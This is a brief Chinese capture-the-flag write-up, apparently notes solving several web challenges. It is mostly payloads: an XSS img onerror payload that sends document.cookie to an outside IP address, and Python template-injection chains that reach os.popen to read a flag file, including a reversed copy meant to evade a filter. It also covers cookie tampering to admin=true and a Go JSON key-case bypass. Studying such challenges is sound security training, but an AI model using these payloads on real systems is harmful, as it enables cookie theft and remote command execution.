https://www.freebuf.com/articles/web/245097.html
就是说呢,img一个标签符也可以自己闭合
payload
| paste=<img src="x" onerror=window.open('http://8.129.42.140:3307?'%2Bdocument.cookie) |
脚本
| payload='''{{{}.__class__.__bases__[0].__subclasses__()[59].__init__}}''' |
| payload='''{{{}.__class__.__bases__[0].__subclasses__()[183].__init__.__globals__.__builtins__.__import__('os').popen('cat flag-43c12348-618d-4654-9a53-efec91bc851c.txt').read()}}''' |
| |
| print(payload[::-1]) |
最终Payload
| }})(daer.)'di'(nepop.)'so'(__tropmi__.__snitliub__.__slabolg__.__tini__.]381[)(__sessalcbus__.]0[__sesab__.__ssalc__.}{{{ |
ls后发现flag在flag-43c12348-618d-4654-9a53-efec91bc851c.txt,然后读就可以
改cookie为admin=true
这个结构体,左边是属性在go中的键名,右边是在json中的键名,就是有多种建名
| if whatpoint.Whatpoint == "that_point" { |
| fmt.Fprintf(w, "Congrats! Here is the flag: %s", flag) |
| return |
意思是让结构体whatpoint的Whatpoint这个键对应的值从what_point变成that_point。
通过这个err = json.Unmarshal(body, &whatpoint)
json转struct,必须要大写首字母-》刚好绕过了过滤
payload
| {"What_point":"that_point"} |